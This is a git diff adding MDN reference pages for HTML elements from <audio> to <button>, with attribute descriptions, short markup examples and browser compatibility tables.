DOM interface HTMLAudioElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-audio-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
audio312
3.5For Firefox to play audio, the server must serve the file using the correct MIME type.
910.53.1318
4For Firefox to play audio, the server must serve the file using the correct MIME type.
1131.0
autoplay3123.5910.53.131841131.0
controls3123.5910.53.131841131.0
loop31211910.53.1318141131.0
muted15≤1811No1564.418141461.0
preload
3Defaults to metadata in Chrome 64.
1243.5–49 +
15Defaults to metadata in Opera 51.
10.5–15		3.1
3Defaults to metadata in Chrome 64.
18Defaults to metadata in Chrome 64.
4 +
14Defaults to metadata in Opera 51.
11–14		3
1.0Defaults to metadata in Samsung Internet 9.0.
src3123.5910.53.131841131.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/audio +

+
diff --git a/devdocs/html/element%2Fb.html b/devdocs/html/element%2Fb.html new file mode 100644 index 00000000..f900c341 --- /dev/null +++ b/devdocs/html/element%2Fb.html @@ -0,0 +1,78 @@ +

<b>: The Bring Attention To element

The <b> HTML element is used to draw the reader's attention to the element's contents, which are not otherwise granted special importance. This was formerly known as the Boldface element, and most browsers still draw the text in boldface. However, you should not use <b> for styling text or granting importance. If you wish to create boldface text, you should use the CSS font-weight property. If you wish to indicate an element is of special importance, you should use the <strong> element.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+
+

html

+
<p>
+  This article describes several <b class="keywords">text-level</b> elements. It
+  explains their usage in an <b class="keywords">HTML</b> document.
+</p>
+Keywords are displayed with the default style of the
+<b>element, likely in bold.</b>
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-b-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
b112
1Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/b +

+
diff --git a/devdocs/html/element%2Fbase.html b/devdocs/html/element%2Fbase.html new file mode 100644 index 00000000..dff26f05 --- /dev/null +++ b/devdocs/html/element%2Fbase.html @@ -0,0 +1,117 @@ +

<base>: The Document Base URL element

+

The <base> HTML element specifies the base URL to use for all relative URLs in a document. There can be only one <base> element in a document.

A document's used base URL can be accessed by scripts with Node.baseURI. If the document has no <base> elements, then baseURI defaults to location.href.

Content categories Metadata content.
Permitted content None; it is a void element.
Tag omission There must be no closing tag.
Permitted parents A <head> that doesn't contain another <base> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLBaseElement
+
+

Attributes

+
+

This element's attributes include the global attributes.

Warning: If either of the following attributes are specified, this element must come before other elements with attribute values of URLs, such as <link>'s href attribute.

href

The base URL to be used throughout the document for relative URLs. Absolute and relative URLs are allowed. data: and javascript: URLs are not allowed.

target

A keyword or author-defined name of the default browsing context to show the results of navigation from <a>, <area>, or <form> elements without explicit target attributes. The following keywords have special meanings:

  • +_self (default): Show the result in the current browsing context.
  • +_blank: Show the result in a new, unnamed browsing context.
  • +_parent: Show the result in the parent browsing context of the current one, if the current page is inside a frame. If there is no parent, acts the same as _self.
  • +_top: Show the result in the topmost browsing context (the browsing context that is an ancestor of the current one and has no parent). If there is no parent, acts the same as _self.
+
+

Usage notes

+ +

Multiple <base> elements

+

If multiple <base> elements are used, only the first href and first target are obeyed — all others are ignored.

+

In-page anchors

+
+

Links pointing to a fragment in the document — e.g. <a href="#some-id"> — are resolved with the <base>, triggering an HTTP request to the base URL with the fragment attached.

For example, given <base href="https://example.com/"> and this link: <a href="#anchor">To anchor</a>. The link points to https://example.com/#anchor.

+
+

Open Graph

+
+

Open Graph tags do not acknowledge <base>, and should always have full absolute URLs. For example:

+

html

+
<meta property="og:image" content="https://example.com/thumbnail.jpg" />
+
+
+
+

Examples

+
+

html

+
<base href="https://www.example.com/" />
+<base target="_blank" />
+<base target="_top" href="https://example.com/" />
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-base-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
base1121
YesBefore Internet Explorer 7, <base> can be positioned anywhere in the document and the nearest value of <base> is used.
1534.41841421.0
href1121Yes1534.41841421.0
target1121Yes1534.41841421.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base +

+
diff --git a/devdocs/html/element%2Fbdi.html b/devdocs/html/element%2Fbdi.html new file mode 100644 index 00000000..f18fe0c5 --- /dev/null +++ b/devdocs/html/element%2Fbdi.html @@ -0,0 +1,113 @@ +

<bdi>: The Bidirectional Isolate element

The <bdi> HTML element tells the browser's bidirectional algorithm to treat the text it contains in isolation from its surrounding text. It's particularly useful when a website dynamically inserts some text and doesn't know the directionality of the text being inserted.

+

Try it

+
+

Bidirectional text is text that may contain both sequences of characters that are arranged left-to-right (LTR) and sequences of characters that are arranged right-to-left (RTL), such as an Arabic quotation embedded in an English string. Browsers implement the Unicode Bidirectional Algorithm to handle this. In this algorithm, characters are given an implicit directionality: for example, Latin characters are treated as LTR while Arabic characters are treated as RTL. Some other characters (such as spaces and some punctuation) are treated as neutral and are assigned directionality based on that of their surrounding characters.

Usually, the bidirectional algorithm will do the right thing without the author having to provide any special markup but, occasionally, the algorithm needs help. That's where <bdi> comes in.

The <bdi> element is used to wrap a span of text and instructs the bidirectional algorithm to treat this text in isolation from its surroundings. This works in two ways:

For example, consider some text like:

EMBEDDED-TEXT - 1st place
+

If EMBEDDED-TEXT is LTR, this works fine. But if EMBEDDED-TEXT is RTL, then - 1 will be treated as RTL text (because it consists of neutral and weak characters). The result will be garbled:

1 - EMBEDDED-TEXTst place
+

If you know the directionality of EMBEDDED-TEXT in advance, you can fix this problem by wrapping EMBEDDED-TEXT in a <span> with the dir attribute set to the known directionality. But if you don't know the directionality - for example, because EMBEDDED-TEXT is being read from a database or entered by the user - you should use <bdi> to prevent the directionality of EMBEDDED-TEXT from affecting its surroundings.

Though the same visual effect can be achieved using the CSS rule unicode-bidi: isolate on a <span> or another text-formatting element, HTML authors should not use this approach because it is not semantic and browsers are allowed to ignore CSS styling.

Embedding the characters in <span dir="auto"> has the same effect as using <bdi>, but its semantics are less clear.

+
+

Attributes

+

Like all other HTML elements, this element supports the global attributes, except that the dir attribute behaves differently than normal: it defaults to auto, meaning its value is never inherited from the parent element. This means that unless you specify a value of either rtl or ltr for dir, the user agent will determine the correct directionality to use based on the contents of the <bdi>.

+

Examples

+ +

No bdi with only LTR

+
+

This example lists the winners of a competition using <span> elements only. When the names only contain LTR text the results look fine:

+

html

+
<ul>
+  <li><span class="name">Henrietta Boffin</span> - 1st place</li>
+  <li><span class="name">Jerry Cruncher</span> - 2nd place</li>
+</ul>
+
+
+
+ + +
+
+

No bdi with RTL text

+
+

This example lists the winners of a competition using <span> elements only, and one of the winners has a name consisting of RTL text. In this case the "- 1", which consists of characters with neutral or weak directionality, will adopt the directionality of the RTL text, and the result will be garbled:

+

html

+
<ul>
+  <li><span class="name">اَلأَعْشَى</span> - 1st place</li>
+  <li><span class="name">Jerry Cruncher</span> - 2nd place</li>
+</ul>
+
+
+
+ + +
+
+

Using bdi with LTR and RTL text

+
+

This example lists the winners of a competition using <bdi> elements. These elements instruct the browser to treat the name in isolation from its embedding context, so the example output is properly ordered:

+

html

+
<ul>
+  <li><bdi class="name">اَلأَعْشَى</bdi> - 1st place</li>
+  <li><bdi class="name">Jerry Cruncher</bdi> - 2nd place</li>
+</ul>
+
+
+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-bdi-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
bdi167910No156≤3718101461.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/bdi +

+
diff --git a/devdocs/html/element%2Fbdo.html b/devdocs/html/element%2Fbdo.html new file mode 100644 index 00000000..19e79386 --- /dev/null +++ b/devdocs/html/element%2Fbdo.html @@ -0,0 +1,82 @@ +

<bdo>: The Bidirectional Text Override element

The <bdo> HTML element overrides the current directionality of text, so that the text within is rendered in a different direction.

+

Try it

+
+

The text's characters are drawn from the starting point in the given direction; the individual characters' orientation is not affected (so characters don't get drawn backward, for example).

+
+

Attributes

+
+

This element's attributes include the global attributes.

dir

The direction in which text should be rendered in this element's contents. Possible values are:

  • +ltr: Indicates that the text should go in a left-to-right direction.
  • +rtl: Indicates that the text should go in a right-to-left direction.
+
+

Examples

+
+

html

+
<!-- Switch text direction -->
+<p>This text will go left to right.</p>
+<p><bdo dir="rtl">This text will go right to left.</bdo></p>
+
+
+

Result

+
+ + +
+

Notes

+

The HTML 4 specification did not specify events for this element; they were added in XHTML. This is most likely an oversight.

+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLElement Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the HTMLSpanElement interface for this element.
+

Specifications

+
+ + +
Specification
HTML Standard
# the-bdo-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
bdo≤151210Yes≤15≤44.4181014≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/bdo +

+
diff --git a/devdocs/html/element%2Fbig.html b/devdocs/html/element%2Fbig.html new file mode 100644 index 00000000..180dade9 --- /dev/null +++ b/devdocs/html/element%2Fbig.html @@ -0,0 +1,101 @@ +

<big>: The Bigger Text element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <big> HTML deprecated element renders the enclosed text at a font size one level larger than the surrounding text (medium becomes large, for example). The size is capped at the browser's maximum permitted font size.

Warning: This element has been removed from the specification and shouldn't be used anymore. Use the CSS font-size property to adjust the font size.

+
+

Attributes

+

This element has no other attributes than the global attributes, common to all elements.

+

Examples

+

Here we see examples showing the use of <big> followed by an example showing how to accomplish the same results using modern CSS syntax instead.

+

Using big

+
+

This example uses the obsolete <big> element to increase the size of some text.

HTML

+

html

+
<p>
+  This is the first sentence.
+  <big>This whole sentence is in bigger letters.</big>
+</p>
+
+

Result

+
+ + +
+
+

Using CSS font-size +

+
+

This example uses the CSS font-size property to increase the font size by one level.

CSS

+

css

+
.bigger {
+  font-size: larger;
+}
+
+

HTML

+

html

+
<p>
+  This is the first sentence.
+  <span class="bigger">This whole sentence is in bigger letters.</span>
+</p>
+
+

Result

+
+ + +
+
+

DOM interface

+

This element implements the HTMLElement interface.

+

Specifications

+
+ + +
Specification
HTML Standard
# big
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
big1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/big +

+
diff --git a/devdocs/html/element%2Fblockquote.html b/devdocs/html/element%2Fblockquote.html new file mode 100644 index 00000000..4325d417 --- /dev/null +++ b/devdocs/html/element%2Fblockquote.html @@ -0,0 +1,107 @@ +

<blockquote>: The Block Quotation element

The <blockquote> HTML element indicates that the enclosed text is an extended quotation. Usually, this is rendered visually by indentation (see Notes for how to change it). A URL for the source of the quotation may be given using the cite attribute, while a text representation of the source can be given using the <cite> element.

+

Try it

+
+

Attributes

+
+

This element's attributes include the global attributes.

cite

A URL that designates a source document or message for the information quoted. This attribute is intended to point to information explaining the context or the reference for the quote.

+
+

Usage notes

+
+

To change the indentation applied to the quoted text, use the CSS margin-left and/or margin-right properties, or the margin shorthand property.

To include shorter quotes inline rather than in a separate block, use the <q> (Quotation) element.

+
+

Examples

+
+

This example demonstrates the use of the <blockquote> element to quote a passage from RFC 1149, A Standard for the Transmission of IP Datagrams on Avian Carriers.

+

html

+
<blockquote cite="https://datatracker.ietf.org/doc/html/rfc1149">
+  <p>
+    Avian carriers can provide high delay, low throughput, and low altitude
+    service. The connection topology is limited to a single point-to-point path
+    for each carrier, used with standard carriers, but many carriers can be used
+    without significant interference with each other, outside early spring. This
+    is because of the 3D ether space available to the carriers, in contrast to
+    the 1D ether used by IEEE802.3. The carriers have an intrinsic collision
+    avoidance system, which increases availability.
+  </p>
+</blockquote>
+
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories +Flow content, sectioning root, palpable content.
Permitted content +Flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role blockquote
Permitted ARIA roles Any
DOM interface HTMLQuoteElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-blockquote-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
blockquote1121Yes15≤44.418414≤3.21.0
cite1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote +

+
diff --git a/devdocs/html/element%2Fbody.html b/devdocs/html/element%2Fbody.html new file mode 100644 index 00000000..6f152e4b --- /dev/null +++ b/devdocs/html/element%2Fbody.html @@ -0,0 +1,255 @@ +

<body>: The Document Body element

+

The <body> HTML element represents the content of an HTML document. There can be only one <body> element in a document.

Content categories None.
Permitted content +Flow content.
Tag omission The start tag may be omitted if the first thing inside it is not a space character, comment, <script> element or <style> element. The end tag may be omitted if the <body> element has contents or has a start tag, and is not immediately followed by a comment.
Permitted parents It must be the second element of an <html> element.
Implicit ARIA role generic
Permitted ARIA roles No role permitted
DOM interface +HTMLBodyElement
+
+

Attributes

+
+

This element includes the global attributes.

Color of text for hyperlinks when selected. Do not use this attribute! Use the CSS color property in conjunction with the :active pseudo-class instead.

+background +

URI of an image to use as a background. Do not use this attribute! Use the CSS background property on the element instead.

+bgcolor +

Background color for the document. Do not use this attribute! Use the CSS background-color property on the element instead.

+bottommargin +

The margin of the bottom of the body. Do not use this attribute! Use the CSS margin-bottom property on the element instead.

+leftmargin +

The margin of the left of the body. Do not use this attribute! Use the CSS margin-left property on the element instead.

Color of text for unvisited hypertext links. Do not use this attribute! Use the CSS color property in conjunction with the :link pseudo-class instead.

onafterprint

Function to call after the user has printed the document.

onbeforeprint

Function to call when the user requests printing of the document.

onbeforeunload

Function to call when the document is about to be unloaded.

onblur

Function to call when the document loses focus.

onerror

Function to call when the document fails to load properly.

onfocus

Function to call when the document receives focus.

onhashchange

Function to call when the fragment identifier part (starting with the hash ('#') character) of the document's current address has changed.

onlanguagechange

Function to call when the preferred languages changed.

onload

Function to call when the document has finished loading.

onmessage

Function to call when the document has received a message.

onoffline

Function to call when network communication has failed.

ononline

Function to call when network communication has been restored.

onpopstate

Function to call when the user has navigated session history.

onredo

Function to call when the user has moved forward in undo transaction history.

onresize

Function to call when the document has been resized.

onstorage

Function to call when the storage area has changed.

onundo

Function to call when the user has moved backward in undo transaction history.

onunload

Function to call when the document is going away.

+rightmargin +

The margin of the right of the body. Do not use this attribute! Use the CSS margin-right property on the element instead.

+text +

Foreground color of text. Do not use this attribute! Use CSS color property on the element instead.

+topmargin +

The margin of the top of the body. Do not use this attribute! Use the CSS margin-top property on the element instead.

Color of text for visited hypertext links. Do not use this attribute! Use the CSS color property in conjunction with the :visited pseudo-class instead.

+
+

Examples

+
+

html

+
<html lang="en">
+  <head>
+    <title>Document title</title>
+  </head>
+  <body>
+    <p>
+      The <code>&lt;body&gt;</code> HTML element represents the content of an
+      HTML document. There can be only one <code>&lt;body&gt;</code> element in
+      a document.
+    </p>
+  </body>
+</html>
+
+
+

Result

+
+ + +
+

Specifications

+
+ + +
Specification
HTML Standard
# the-body-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
body1121Yes1514.41841411.0
alink1121Yes15≤44.418414≤3.21.0
background1121Yes15≤44.418414≤3.21.0
bgcolor1121Yes15≤44.418414≤3.21.0
bottommargin179
35Before Firefox 35, it was supported in Quirks Mode only.
No15≤44.418
35Before Firefox 35, it was supported in Quirks Mode only.
14≤3.21.0
leftmargin179
35Before Firefox 35, it was supported in Quirks Mode only.
No15≤44.418
35Before Firefox 35, it was supported in Quirks Mode only.
14≤3.21.0
link1121Yes15≤44.418414≤3.21.0
rightmargin179
35Before Firefox 35, it was supported in Quirks Mode only.
No15≤44.418
35Before Firefox 35, it was supported in Quirks Mode only.
14≤3.21.0
text1121Yes15≤44.418414≤3.21.0
topmargin179
35Before Firefox 35, it was supported in Quirks Mode only.
No15≤44.418
35Before Firefox 35, it was supported in Quirks Mode only.
14≤3.21.0
vlink1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/body +

+
diff --git a/devdocs/html/element%2Fbr.html b/devdocs/html/element%2Fbr.html new file mode 100644 index 00000000..c18df512 --- /dev/null +++ b/devdocs/html/element%2Fbr.html @@ -0,0 +1,113 @@ +

<br>: The Line Break element

The <br> HTML element produces a line break in text (carriage-return). It is useful for writing a poem or an address, where the division of lines is significant.

+

Try it

+
+

As you can see from the above example, a <br> element is included at each point where we want the text to break. The text after the <br> begins again at the start of the next line of the text block.

Note: Do not use <br> to create margins between paragraphs; wrap them in <p> elements and use the CSS margin property to control their size.

+
+

Attributes

+

This element's attributes include the global attributes.

+

Deprecated attributes

+
+clear +

Indicates where to begin the next line after the break.

+

Styling with CSS

+
+

The <br> element has a single, well-defined purpose — to create a line break in a block of text. As such, it has no dimensions or visual output of its own, and there is very little you can do to style it.

You can set a margin on <br> elements themselves to increase the spacing between the lines of text in the block, but this is a bad practice — you should use the line-height property that was designed for that purpose.

+
+

Examples

+ +

Simple br

+
+

In the following example we use <br> elements to create line breaks between the different lines of a postal address:

+

html

+
Mozilla<br />
+331 E. Evelyn Avenue<br />
+Mountain View, CA<br />
+94041<br />
+USA<br />
+
+

Result

+
+ + +
+
+

Accessibility concerns

+
+

Creating separate paragraphs of text using <br> is not only bad practice, it is problematic for people who navigate with the aid of screen reading technology. Screen readers may announce the presence of the element, but not any content contained within <br>s. This can be a confusing and frustrating experience for the person using the screen reader.

Use <p> elements, and use CSS properties like margin to control their spacing.

+
+

Technical summary

+
Content categories Flow content, phrasing content.
Permitted content None; it is a void element.
Tag omission Must have a start tag, and must not have an end tag. In XHTML documents, write this element as <br />.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles +none, presentation +
DOM interface HTMLBRElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-br-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
br1121Yes15≤44.418414≤3.21.0
clear1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/br +

+
diff --git a/devdocs/html/element%2Fbutton.html b/devdocs/html/element%2Fbutton.html new file mode 100644 index 00000000..899e8922 --- /dev/null +++ b/devdocs/html/element%2Fbutton.html @@ -0,0 +1,290 @@ +

<button>: The Button element

+

The <button> HTML element is an interactive element activated by a user with a mouse, keyboard, finger, voice command, or other assistive technology. Once activated, it then performs an action, such as submitting a form or opening a dialog.

By default, HTML buttons are presented in a style resembling the platform the user agent runs on, but you can change buttons' appearance with CSS.

+
+

Try it

+
+

Attributes

+
+

This element's attributes include the global attributes.

autofocus

This Boolean attribute specifies that the button should have input focus when the page loads. Only one element in a document can have this attribute.

+autocomplete +

This attribute on a <button> is nonstandard and Firefox-specific. Unlike other browsers, Firefox persists the dynamic disabled state of a <button> across page loads. Setting autocomplete="off" on the button disables this feature; see Firefox bug 654072.

disabled

This Boolean attribute prevents the user from interacting with the button: it cannot be pressed or focused.

Firefox, unlike other browsers, persists the dynamic disabled state of a <button> across page loads. To control this feature, use the autocomplete attribute.

form

The <form> element to associate the button with (its form owner). The value of this attribute must be the id of a <form> in the same document. (If this attribute is not set, the <button> is associated with its ancestor <form> element, if any.)

This attribute lets you associate <button> elements to <form>s anywhere in the document, not just inside a <form>. It can also override an ancestor <form> element.

formaction

The URL that processes the information submitted by the button. Overrides the action attribute of the button's form owner. Does nothing if there is no form owner.

formenctype

If the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), specifies how to encode the form data that is submitted. Possible values:

  • +application/x-www-form-urlencoded: The default if the attribute is not used.
  • +multipart/form-data: Used to submit <input> elements with their type attributes set to file.
  • +text/plain: Specified as a debugging aid; shouldn't be used for real form submission.

If this attribute is specified, it overrides the enctype attribute of the button's form owner.

formmethod

If the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), this attribute specifies the HTTP method used to submit the form. Possible values:

  • +post: The data from the form are included in the body of the HTTP request when sent to the server. Use when the form contains information that shouldn't be public, like login credentials.
  • +get: The form data are appended to the form's action URL, with a ? as a separator, and the resulting URL is sent to the server. Use this method when the form has no side effects, like search forms.
  • +dialog: This method is used to indicate that the button closes the dialog with which it is associated, and does not transmit the form data at all.

If specified, this attribute overrides the method attribute of the button's form owner.

formnovalidate

If the button is a submit button, this Boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the novalidate attribute of the button's form owner.

This attribute is also available on <input type="image"> and <input type="submit"> elements.

formtarget

If the button is a submit button, this attribute is an author-defined name or standardized, underscore-prefixed keyword indicating where to display the response from submitting the form. This is the name of, or keyword for, a browsing context (a tab, window, or <iframe>). If this attribute is specified, it overrides the target attribute of the button's form owner. The following keywords have special meanings:

  • +_self: Load the response into the same browsing context as the current one. This is the default if the attribute is not specified.
  • +_blank: Load the response into a new unnamed browsing context — usually a new tab or window, depending on the user's browser settings.
  • +_parent: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as _self.
  • +_top: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as _self.
name

The name of the button, submitted as a pair with the button's value as part of the form data, when that button is used to submit the form.

popovertarget

Turns a <button> element into a popover control button; takes the ID of the popover element to control as its value. See the Popover API landing page for more details.

popovertargetaction

Specifies the action to be performed on a popover element being controlled by a control <button>. Possible values are:

"hide"

The button will hide a shown popover. If you try to hide an already hidden popover, no action will be taken.

"show"

The button will show a hidden popover. If you try to show an already showing popover, no action will be taken.

"toggle"

The button will toggle a popover between showing and hidden. If the popover is hidden, it will be shown; if the popover is showing, it will be hidden. If popovertargetaction is omitted, "toggle" is the default action that will be performed by the control button.

type

The default behavior of the button. Possible values are:

  • +submit: The button submits the form data to the server. This is the default if the attribute is not specified for buttons associated with a <form>, or if the attribute is an empty or invalid value.
  • +reset: The button resets all the controls to their initial values, like <input type="reset">. (This behavior tends to annoy users.)
  • +button: The button has no default behavior, and does nothing when pressed by default. It can have client-side scripts listen to the element's events, which are triggered when the events occur.
value

Defines the value associated with the button's name when it's submitted with the form data. This value is passed to the server in params when the form is submitted using this button.

+
+

Notes

+
+

A submit button with the attribute formaction set, but without an associated form does nothing. You have to set a form owner, either by wrapping it in a <form> or set the attribute form to the id of the form.

<button> elements are much easier to style than <input> elements. You can add inner HTML content (think <i>, <br>, or even <img>), and use ::after and ::before pseudo-elements for complex rendering.

If your buttons are not for submitting form data to a server, be sure to set their type attribute to button. Otherwise they will try to submit form data and to load the (nonexistent) response, possibly destroying the current state of the document.

While <button type="button"> has no default behavior, event handlers can be scripted to trigger behaviors. An activated button can perform programmable actions using JavaScript, such as removing an item from a list.

+
+

Examples

+
+
+

html

+
<button name="button">Press me</button>
+
+
+
+ + +
+
+

Accessibility concerns

+ +

Icon buttons

+
+

Buttons that only show an icon to represent do not have an accessible name. Accessible names provide information for assistive technology, such as screen readers, to access when they parse the document and generate an accessibility tree. Assistive technology then uses the accessibility tree to navigate and manipulate page content.

To give an icon button an accessible name, put text in the <button> element that concisely describes the button's functionality.

Examples

+

html

+
<button name="favorite">
+  <svg aria-hidden="true" viewBox="0 0 10 10">
+    <path d="M7 9L5 8 3 9V6L1 4h3l1-3 1 3h3L7 6z" />
+  </svg>
+  Add to favorites
+</button>
+
+
Result
+
+ + +

If you want to visually hide the button's text, an accessible way to do so is to use a combination of CSS properties to remove it visually from the screen, but keep it parsable by assistive technology.

However, it is worth noting that leaving the button text visually apparent can aid people who may not be familiar with the icon's meaning or understand the button's purpose. This is especially relevant for people who are not technologically sophisticated, or who may have different cultural interpretations for the icon the button uses.

+
+

Size and Proximity

+
+

Size

Interactive elements such as buttons should provide an area large enough that it is easy to activate them. This helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers. A minimum interactive size of 44×44 CSS pixels is recommended.

Proximity

Large amounts of interactive content — including buttons — placed in close visual proximity to each other should have space separating them. This spacing is beneficial for people who are experiencing motor control issues, who may accidentally activate the wrong interactive content.

Spacing may be created using CSS properties such as margin.

+
+

ARIA state information

+

To describe the state of a button the correct ARIA attribute to use is aria-pressed and not aria-checked or aria-selected. To find out more read the information about the ARIA button role.

+

Firefox

+
+

Firefox will add a small dotted border on a focused button. This border is declared through CSS in the browser stylesheet, but you can override it to add your own focused style using button::-moz-focus-inner { }.

If overridden, it is important to ensure that the state change when focus is moved to the button is high enough that people experiencing low vision conditions will be able to perceive it.

Color contrast ratio is determined by comparing the luminosity of the button text and background color values compared to the background the button is placed on. In order to meet current Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for large text. (Large text is defined as 18.66px and bold or larger, or 24px or larger.)

+
+

Clicking and focus

+

Whether clicking on a <button> or <input> button types causes it to (by default) become focused varies by browser and OS. Most browsers do give focus to a button being clicked, but Safari does not, by design.

+

Technical summary

+
Content categories Flow content, phrasing content, Interactive content, listed, labelable, and submittable form-associated element, palpable content.
Permitted content Phrasing content but there must be no Interactive content
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role button
Permitted ARIA roles checkbox, combobox, link, menuitem, menuitemcheckbox, menuitemradio, option, radio, switch, tab
DOM interface HTMLButtonElement
+

Specifications

+
+ + +
Specification
HTML Standard
